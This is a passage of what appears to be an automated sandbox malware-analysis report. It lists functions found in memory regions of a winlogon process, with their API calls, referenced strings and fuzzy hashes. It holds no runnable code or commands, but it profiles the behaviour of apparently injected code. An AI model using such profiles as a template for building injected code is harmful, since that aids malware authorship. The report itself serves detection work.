API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 186f03c70d0fb8979f980bfcf85fe288d7737d97a0f3839797273e271350e365
Instruction ID: 97f73203f8982477833e52015e33f754f7e99079407345b81d307e64eaf0c1f0
Opcode Fuzzy Hash: 186f03c70d0fb8979f980bfcf85fe288d7737d97a0f3839797273e271350e365
Instruction Fuzzy Hash: C1E18F72644BC28AEB20DF66D4883AD77A0F745798F12112BEE8957B97CB34D5C1CB20

Function 000002E99175F394 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117libraryloaderCOMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32 ref: 000002E99175F510
GetProcAddress.KERNEL32 ref: 000002E99175F51C

Strings

ext-ms-, xrefs: 000002E99175F46D
api-ms-, xrefs: 000002E99175F45A

Memory Dump Source

Source File: 00000023.00000002.3042246712.000002E991750000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002E991750000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_2e991750000_winlogon.jbxd

Similarity

API ID: AddressFreeLibraryProc
String ID: api-ms-$ext-ms-
API String ID: 3013587201-537541572
Opcode ID: 978905767b5078ec9de210cf927baa423a0e9cdb829b06631a7440d3a6c0e710
Instruction ID: a37450bc1c151caee95b075b815692e99cd55a6f4dc24f28fbba06317fb40626
Opcode Fuzzy Hash: 978905767b5078ec9de210cf927baa423a0e9cdb829b06631a7440d3a6c0e710
Instruction Fuzzy Hash: 2741D622391B8292FB56CB17E8087562795B745BE0F47492F9D0E87786EF3CC4C58B60

Function 000002E99175104C Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 99memoryregistryCOMMON

Download Yara Rule

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 000002E9917510B1
RegEnumValueW.ADVAPI32 ref: 000002E991751117
GetProcessHeap.KERNEL32 ref: 000002E99175115A
HeapAlloc.KERNEL32 ref: 000002E991751168
GetProcessHeap.KERNEL32 ref: 000002E991751185
HeapFree.KERNEL32 ref: 000002E991751193

Strings

d, xrefs: 000002E9917510D6

Memory Dump Source

Source File: 00000023.00000002.3042246712.000002E991750000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002E991750000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_2e991750000_winlogon.jbxd

Similarity

API ID: Heap$Process$AllocEnumFreeInfoQueryValue
String ID: d
API String ID: 3743429067-2564639436
Opcode ID: 4e806da6bf888755fbf7915dbe23be07e0600cef0dd9ac19d63751155720d402
Instruction ID: c14a8d93c31946622ec18366339607f616fe7fb0c74b8ef5f7eef75a911a86bd
Opcode Fuzzy Hash: 4e806da6bf888755fbf7915dbe23be07e0600cef0dd9ac19d63751155720d402
Instruction Fuzzy Hash: A0419133214BC5C6E760CF22E44879EB7A1F388B89F44812AEA8A47759DF38C485CB50

Function 000002E99175D068 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

FlsGetValue.KERNEL32(?,?,?,000002E99175C7DE,?,?,?,?,?,?,?,?,000002E99175CF9D,?,?,00000001), ref: 000002E99175D087
FlsSetValue.KERNEL32(?,?,?,000002E99175C7DE,?,?,?,?,?,?,?,?,000002E99175CF9D,?,?,00000001), ref: 000002E99175D0A6
FlsSetValue.KERNEL32(?,?,?,000002E99175C7DE,?,?,?,?,?,?,?,?,000002E99175CF9D,?,?,00000001), ref: 000002E99175D0CE
FlsSetValue.KERNEL32(?,?,?,000002E99175C7DE,?,?,?,?,?,?,?,?,000002E99175CF9D,?,?,00000001), ref: 000002E99175D0DF
FlsSetValue.KERNEL32(?,?,?,000002E99175C7DE,?,?,?,?,?,?,?,?,000002E99175CF9D,?,?,00000001), ref: 000002E99175D0F0

Strings

1%, xrefs: 000002E99175D0CE
Y%, xrefs: 000002E99175D0A6

Memory Dump Source

Source File: 00000023.00000002.3042246712.000002E991750000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002E991750000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_2e991750000_winlogon.jbxd

Similarity

API ID: Value
String ID: 1%$Y%
API String ID: 3702945584-1395475152
Opcode ID: eaed261e9eff258ccad1ac5f7a99306e4284ed666e6615725d2dc279c7a103a4
Instruction ID: a96b1890e74b2ecd0ea9938466009dfee319b739ed4c7e033c1762021a338c56
Opcode Fuzzy Hash: eaed261e9eff258ccad1ac5f7a99306e4284ed666e6615725d2dc279c7a103a4
Instruction Fuzzy Hash: 481181207902C242FA69A737D55D3696185BB443F4F16472F983A466EBDF38C4C28E30

Function 000002E991757510 Relevance: 12.2, APIs: 8, Instructions: 230COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 000002E991757538
__scrt_acquire_startup_lock.LIBCMT ref: 000002E99175758A
_RTC_Initialize.LIBCMT ref: 000002E9917575B8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 000002E9917575DE
__scrt_release_startup_lock.LIBCMT ref: 000002E991757609

Memory Dump Source

Source File: 00000023.00000002.3042246712.000002E991750000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002E991750000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_2e991750000_winlogon.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 190073905-0
Opcode ID: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction ID: cd15232f422848d1d810b8ca1d68bf3e5a859180c35751ee036576ae4bb720cf
Opcode Fuzzy Hash: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction Fuzzy Hash: 4981C3216806C3A6FB50AB6BE44D3A922D4F745780FD7441FAA0987797EB38C9C58F31

Function 000002E991759DC4 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32 ref: 000002E991759E49
GetLastError.KERNEL32 ref: 000002E991759E57
LoadLibraryExW.KERNEL32 ref: 000002E991759E81
FreeLibrary.KERNEL32 ref: 000002E991759EC7
GetProcAddress.KERNEL32 ref: 000002E991759ED3

Strings

api-ms-, xrefs: 000002E991759E69

Memory Dump Source

Source File: 00000023.00000002.3042246712.000002E991750000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002E991750000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_2e991750000_winlogon.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: 57a387126f3cdca2e6377dd9e1e04e2dfecb224b041c0cba2ac35bf939624b8e
Instruction ID: 207c3dd52896e77b572485204b7de8f36d24d6c4bffc08408b80e03efac7f2a8
Opcode Fuzzy Hash: 57a387126f3cdca2e6377dd9e1e04e2dfecb224b041c0cba2ac35bf939624b8e
Instruction Fuzzy Hash: 363196223526C2E1EE15DB43E4487656394B74CBA0F9B052F9D1D47792EF39C4C59B20

Function 000002E991763DB4 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 000002E991763DE5
GetLastError.KERNEL32 ref: 000002E991763DF1
CloseHandle.KERNEL32 ref: 000002E991763E09
CreateFileW.KERNEL32 ref: 000002E991763E34
WriteConsoleW.KERNEL32 ref: 000002E991763E53

Strings

CONOUT$, xrefs: 000002E991763E15

Memory Dump Source

Source File: 00000023.00000002.3042246712.000002E991750000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002E991750000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_2e991750000_winlogon.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: ea8503a65e9befc0d33d9332805196394b6329e0df61646a9863ad39bb9ae76f
Instruction ID: 5be6fbadabfa398e5c5c06da23e062949b7ae7d32590008ef573cc00081c362b
Opcode Fuzzy Hash: ea8503a65e9befc0d33d9332805196394b6329e0df61646a9863ad39bb9ae76f
Instruction Fuzzy Hash: 6B11B231350BC182E7508B13E84831972A4F388FE4F45022AEA5EC7796CF38C4948BA1

Function 000002E991752F04 Relevance: 9.1, APIs: 5, Strings: 1, Instructions: 93memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000002E991752F27
HeapAlloc.KERNEL32 ref: 000002E991752F3A
StrCmpNIW.SHLWAPI ref: 000002E991752FAF
GetProcessHeap.KERNEL32 ref: 000002E991753015
HeapFree.KERNEL32 ref: 000002E991753023

Strings

dialer, xrefs: 000002E991752FA8

Memory Dump Source

Source File: 00000023.00000002.3042246712.000002E991750000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002E991750000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_2e991750000_winlogon.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID: dialer
API String ID: 756756679-3528709123
Opcode ID: 2e24de9146afbba5105044d4fd5602f1f9f0ed558a5ed62472976580c3eaf0ad
Instruction ID: 186717381455e3181557c70e4b3e181aab8ff8ec6f9d2597f1690986fa17b43e
Opcode Fuzzy Hash: 2e24de9146afbba5105044d4fd5602f1f9f0ed558a5ed62472976580c3eaf0ad
Instruction Fuzzy Hash: 6931C522741B92C3EB54DF17E54872967A1FB44BC0F4A402AAE4847B97EF34C4E18B60

Function 000002E99175CFA0 Relevance: 9.1, APIs: 6, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 000002E99175CFAF
FlsSetValue.KERNEL32(?,?,?,000002E99175D6B5,?,?,?,?,000002E99175D778), ref: 000002E99175CFE5
FlsSetValue.KERNEL32(?,?,?,000002E99175D6B5,?,?,?,?,000002E99175D778), ref: 000002E99175D012
FlsSetValue.KERNEL32(?,?,?,000002E99175D6B5,?,?,?,?,000002E99175D778), ref: 000002E99175D023
FlsSetValue.KERNEL32(?,?,?,000002E99175D6B5,?,?,?,?,000002E99175D778), ref: 000002E99175D034
SetLastError.KERNEL32 ref: 000002E99175D04F

Memory Dump Source

Source File: 00000023.00000002.3042246712.000002E991750000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002E991750000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_2e991750000_winlogon.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: 4f148fb448054b99fdb5313590ff83f86fc6d8762bc770a772f95ba4b575ef67
Instruction ID: 88b896e7da52e95fd00ccff7768d99056a53124772a0c671c365fb61c8ceb8e1
Opcode Fuzzy Hash: 4f148fb448054b99fdb5313590ff83f86fc6d8762bc770a772f95ba4b575ef67
Instruction Fuzzy Hash: 92115E203912C242FA65A733D55D3292185BB447F4F16072EA836467D7DF7884C28F30

Function 000002E99175199C Relevance: 9.0, APIs: 6, Instructions: 42stringCOMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32 ref: 000002E9917519C2
K32GetModuleFileNameExW.KERNEL32 ref: 000002E9917519E0
PathFindFileNameW.SHLWAPI ref: 000002E9917519EF
lstrlenW.KERNEL32 ref: 000002E9917519FB
StrCpyW.SHLWAPI ref: 000002E991751A0E
CloseHandle.KERNEL32 ref: 000002E991751A1C

Memory Dump Source

Source File: 00000023.00000002.3042246712.000002E991750000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002E991750000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_2e991750000_winlogon.jbxd

Similarity

API ID: FileName$CloseFindHandleModuleOpenPathProcesslstrlen
String ID:
API String ID: 517849248-0
Opcode ID: 01214db588610ff501214a343c1506f8e4016efad0e64bbd234dc336c45f59d3
Instruction ID: 715ac3fdfa83c77bb0e460137307d450772adbe10476670a3786bf80235cc521
Opcode Fuzzy Hash: 01214db588610ff501214a343c1506f8e4016efad0e64bbd234dc336c45f59d3
Instruction Fuzzy Hash: 17012D21340A8282EB54DB53E45C75963A5F788BC5FCA403AEE5A83756DF3CC989CB50

Function 000002E9917536C8 Relevance: 9.0, APIs: 6, Instructions: 38threadCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 000002E9917536E4
GetCurrentProcess.KERNEL32 ref: 000002E9917536F2
VirtualProtectEx.KERNEL32 ref: 000002E991753714
GetCurrentProcess.KERNEL32 ref: 000002E991753732
VirtualProtectEx.KERNEL32 ref: 000002E991753753
TerminateThread.KERNEL32 ref: 000002E991753762

Memory Dump Source

Source File: 00000023.00000002.3042246712.000002E991750000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002E991750000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_2e991750000_winlogon.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModuleTerminateThread
String ID:
API String ID: 449555515-0
Opcode ID: 4c9ec6165d8c5af47ee19c29b3e549fd6cc17b885c385019f049dc0dac4977bc
Instruction ID: c6f769b54c004a354a452a2a46bf369459501ef8588b7fa1b2b20c3275c221d8
Opcode Fuzzy Hash: 4c9ec6165d8c5af47ee19c29b3e549fd6cc17b885c385019f049dc0dac4977bc
Instruction Fuzzy Hash: 69016D6475178282FB249B23E80C71523B0FB49B82F96082EDD4947766EF3CC1888F20

Function 000002E991758FE8 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 144COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000002E991759013
_IsNonwritableInCurrentImage.LIBCMT ref: 000002E9917590A8
RtlUnwindEx.NTDLL ref: 000002E9917590F7

Strings

f, xrefs: 000002E991759026
csm, xrefs: 000002E99175908E

Memory Dump Source

Source File: 00000023.00000002.3042246712.000002E991750000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002E991750000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_2e991750000_winlogon.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm$f
API String ID: 2395640692-629598281
Opcode ID: 255e8a15c903f04b3fededc0bb6945c1536f1eb34c4f108c78a5ad073a1a53ec
Instruction ID: e9dc35c7a832d2cc683b6cd1fa1022522abd5526910dd1348563b3731bf2def8
Opcode Fuzzy Hash: 255e8a15c903f04b3fededc0bb6945c1536f1eb34c4f108c78a5ad073a1a53ec
Instruction Fuzzy Hash: 1851C33274169286EB54CF26E84CB693796F344BC8F52852EDA064778ADB35DCC1CF20

Function 000002E991751A40 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 30stringCOMMON

Download Yara Rule

APIs

GetFinalPathNameByHandleW.KERNEL32 ref: 000002E991751A60
StrCmpNIW.SHLWAPI ref: 000002E991751A7A
lstrlenW.KERNEL32 ref: 000002E991751A89
StrCpyW.SHLWAPI ref: 000002E991751A9E

Strings

\\?\, xrefs: 000002E991751A6E

Memory Dump Source

Source File: 00000023.00000002.3042246712.000002E991750000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002E991750000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_2e991750000_winlogon.jbxd

Similarity

API ID: FinalHandleNamePathlstrlen
String ID: \\?\
API String ID: 2719912262-4282027825
Opcode ID: c1daab9146f2a1614ef605d22fd4f721266e20aa8a0235322e79b2424596649d
Instruction ID: 412175bfc77c0f7889df0d48bc3560869d283f7d8297d7432b8b3449444d2e85
Opcode Fuzzy Hash: c1daab9146f2a1614ef605d22fd4f721266e20aa8a0235322e79b2424596649d
Instruction Fuzzy Hash: 09F04F223446C292EB608B22F99875967A5F748BC9FC5402ADA498695ADF3CC6CDCF10

Function 000002E991753044 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

StrCmpIW.SHLWAPI ref: 000002E991753066
StrCpyW.SHLWAPI ref: 000002E991753076
StrCatW.SHLWAPI ref: 000002E991753082
PathCombineW.SHLWAPI ref: 000002E991753090

Strings

\\.\pipe\, xrefs: 000002E99175305C

Memory Dump Source

Source File: 00000023.00000002.3042246712.000002E991750000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002E991750000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_2e991750000_winlogon.jbxd

Similarity

API ID: CombinePath
String ID: \\.\pipe\
API String ID: 3422762182-91387939
Opcode ID: 8c685e1f0b85bfe06f91eeefbd03c12bff8419d51c8b157116edbf6ca1c9c829
Instruction ID: c358c5bd6c370e4e94212374ef1c3ac1b27339a5d47b43ba3a3d7addd493d33b
Opcode Fuzzy Hash: 8c685e1f0b85bfe06f91eeefbd03c12bff8419d51c8b157116edbf6ca1c9c829
Instruction Fuzzy Hash: 44F08260354BC682EA008B13F91C119A261BB48FC0F85403AEE4A87B2ADF3CC4C58B21

Function 000002E99175BC98 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 000002E99175BCBD
GetProcAddress.KERNEL32 ref: 000002E99175BCD3
FreeLibrary.KERNEL32 ref: 000002E99175BCFA

Strings

mscoree.dll, xrefs: 000002E99175BCB4
CorExitProcess, xrefs: 000002E99175BCCC

Memory Dump Source

Source File: 00000023.00000002.3042246712.000002E991750000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002E991750000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_2e991750000_winlogon.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 0f45d19500fbd6816ab24c8a126c5dacde8056cea587c59ff890217df17fdf5d
Instruction ID: 25295f8d8ab3043a6409b7c076f3c8c014371e5dc60beb8abb4c75a9d3b53d50
Opcode Fuzzy Hash: 0f45d19500fbd6816ab24c8a126c5dacde8056cea587c59ff890217df17fdf5d
Instruction Fuzzy Hash: 27F0966135178691EB108B26E45C3696331FB84BE1F95031FDA6A861F6DF3CC4C5CB61

Function 000002E991755710 Relevance: 7.6, APIs: 5, Instructions: 124threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 000002E991755726

Memory Dump Source

Source File: 00000023.00000002.3042246712.000002E991750000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002E991750000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_2e991750000_winlogon.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: 0c7f3a11ae4e5ff47235e902b7b6ce7055ed727b420134bb2449cab27e882fd8
Instruction ID: 899714654cfee5a0a87d9affd5898931fb4ed2655e43b4f37e6fe9002d5fc822
Opcode Fuzzy Hash: 0c7f3a11ae4e5ff47235e902b7b6ce7055ed727b420134bb2449cab27e882fd8
Instruction Fuzzy Hash: 4761E736559BC6C7E760DB16E44831AB7E4F388784F52011AEA8E47BAADB7CC590CF10

Function 000002E991733504 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 000002E99173352C
_set_statfp.LIBCMT ref: 000002E991733547
_set_statfp.LIBCMT ref: 000002E991733563
_set_statfp.LIBCMT ref: 000002E99173359F

Memory Dump Source

Source File: 00000023.00000002.3041695622.000002E991720000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002E991720000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_2e991720000_winlogon.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction ID: 6fce0c9865f46e94ad79d61300e9938692d5aaaf41cf770363b3baa4ae580780
Opcode Fuzzy Hash: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction Fuzzy Hash: 7B11A323BD0AD315FAB4153BF44D36911807B58374F6B862FA9760A2D7CA28CBC34A30

Function 000002E991764104 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 000002E99176412C
_set_statfp.LIBCMT ref: 000002E991764147
_set_statfp.LIBCMT ref: 000002E991764163
_set_statfp.LIBCMT ref: 000002E99176419F

Memory Dump Source

Source File: 00000023.00000002.3042246712.000002E991750000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002E991750000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_2e991750000_winlogon.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction ID: 8833cec01b3b712e7df5753de1625ed22ad95ee90a5c308719c3cffe9809f191
Opcode Fuzzy Hash: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction Fuzzy Hash: 1B11E322BD0AC3A5F66F156AD45D36911407B783F8F1B062FA977876D7CA24C8C08A23

Function 000002E99172F040 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 182COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 000002E99172F124

Strings

Wednesday, xrefs: 000002E99172F1ED
or copy constructor iterator', xrefs: 000002E99172F25A, 000002E99172F275
Tuesday, xrefs: 000002E99172F0F4

Memory Dump Source

Source File: 00000023.00000002.3041695622.000002E991720000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002E991720000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_2e991720000_winlogon.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: Tuesday$Wednesday$or copy constructor iterator'
API String ID: 3215553584-4202648911
Opcode ID: 9e57f18f61c22f0406784eb273be7b0d6046b42052b72e443b30de0c50228f55
Instruction ID: 27c43efc3ebcb98436fdd8ae9cc1473d170633621c7fc37e2b7ea1367af98575
Opcode Fuzzy Hash: 9e57f18f61c22f0406784eb273be7b0d6046b42052b72e443b30de0c50228f55
Instruction Fuzzy Hash: 1E61B3625866C642F7658B6BE54C32E26E1F746740FA34C1FCA0A177A7DA34C9C38B30

Function 000002E99175AA1C Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 147COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 000002E99175AA68
_CallSETranslator.LIBVCRUNTIME ref: 000002E99175AAB7

Strings

MOC, xrefs: 000002E99175AA7C
RCC, xrefs: 000002E99175AA85

Memory Dump Source

Source File: 00000023.00000002.3042246712.000002E991750000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002E991750000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_2e991750000_winlogon.jbxd

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction ID: c265801518a2bdb581e286e63e256228ab63efdfaaa28672a2b32cc6fb03c2c2
Opcode Fuzzy Hash: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction Fuzzy Hash: CE619F33600B858AEB20DF66D4843AD77B0F344B8CF05462AEF4917B9ADB38C595CB50

Function 000002E99172A178 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000002E99172A1A0
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 000002E99172A288

Strings

csm, xrefs: 000002E99172A1C2
csm, xrefs: 000002E99172A2DA

Memory Dump Source

Source File: 00000023.00000002.3041695622.000002E991720000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002E991720000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_2e991720000_winlogon.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction ID: f3086e5e95a6481f7f96e1afe717cc730f762cabb17a0b2f305e154ee185ea95
Opcode Fuzzy Hash: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction Fuzzy Hash: 1A518D321453C2CAEB648B16D44835877A0F395B94F1A491BDA8987BD7CB78D4D2CF10

Function 000002E99175AD78 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000002E99175ADA0
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 000002E99175AE88

Strings

csm, xrefs: 000002E99175AEDA
csm, xrefs: 000002E99175ADC2

Memory Dump Source

Source File: 00000023.00000002.3042246712.000002E991750000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002E991750000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_2e991750000_winlogon.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction ID: 446d1a1c64522073db0cd5d5834e42522880cf304d97d4b8b40f77ecf9adbd4b
Opcode Fuzzy Hash: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction Fuzzy Hash: DE515E721803C28BEB648B27E58835977A0F354B95F1A512FDA9947BDACB38D4D1CF10

Function 000002E991728405 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 135COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000002E991728413
_IsNonwritableInCurrentImage.LIBCMT ref: 000002E9917284A8

Strings

csm, xrefs: 000002E99172848E
f, xrefs: 000002E991728426

Memory Dump Source

Source File: 00000023.00000002.3041695622.000002E991720000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002E991720000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_2e991720000_winlogon.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: csm$f
API String ID: 3242871069-629598281
Opcode ID: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
Instruction ID: 310a40da76a7e8494b2a523292ada4b4d5fdfe551cf15d0e710db459a0c84222
Opcode Fuzzy Hash: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
Instruction Fuzzy Hash: 5C51D63274228287EB14CF17E408B1837D5F354B98F62892EDA564374EE736C9C28F24

Function 000002E9917283E8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 75COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000002E991728413
_IsNonwritableInCurrentImage.LIBCMT ref: 000002E9917284A8

Strings

csm, xrefs: 000002E99172848E
f, xrefs: 000002E991728426

Memory Dump Source

Source File: 00000023.00000002.3041695622.000002E991720000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002E991720000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_2e991720000_winlogon.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: csm$f
API String ID: 3242871069-629598281
Opcode ID: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
Instruction ID: 4d9fb923a024668931dd26515bb1f8222d8a35d90d0c19900a676a0e9de2e7fc
Opcode Fuzzy Hash: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
Instruction Fuzzy Hash: 6D31A23124278197E714DF13E84871977E4F744B98F16891EEE9A0778ADB39CA82CF24

Function 000002E991762058 Relevance: 6.3, APIs: 4, Instructions: 299fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 000002E9917620D7
WriteFile.KERNEL32 ref: 000002E99176239F
WriteFile.KERNEL32 ref: 000002E9917623E5
GetLastError.KERNEL32 ref: 000002E99176249B

Memory Dump Source

Source File: 00000023.00000002.3042246712.000002E991750000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002E991750000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_35_2_2e991750000_winlogon.jbxd

Similarity

API ID: FileWrite$ConsoleErrorLastOutput
String ID:
API String ID: 2718003287-0
Opcode ID: 3a35214534a53fd0655822596b90f4932f5655332a96a267e8fac8abb8670521
Instruction ID: d17a5b66f24651ba47f914fd9a9177c7c4c5eae1cb0dd37e5dc1cb50b43e6a1d
Opcode Fuzzy Hash: 3a35214534a53fd0655822596b90f4932f5655332a96a267e8fac8abb8670521
Instruction Fuzzy Hash: 0DD10132B14AC18AE751CFBAD4483DC3BB1F3547D8F12821ACE5997B9ADA34C486CB51

Function 000002E9917514A4 Relevance: 6.3, APIs: 5, Instructions: 37memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000002E9917514C5
HeapFree.KERNEL32 ref: 000002E9917514D4
GetProcessHeap.KERNEL32 ref: 000002E9917514E1
HeapFree.KERNEL32 ref: 000002E9917514F0
GetProcessHeap.KERNEL32 ref: 000002E991751500

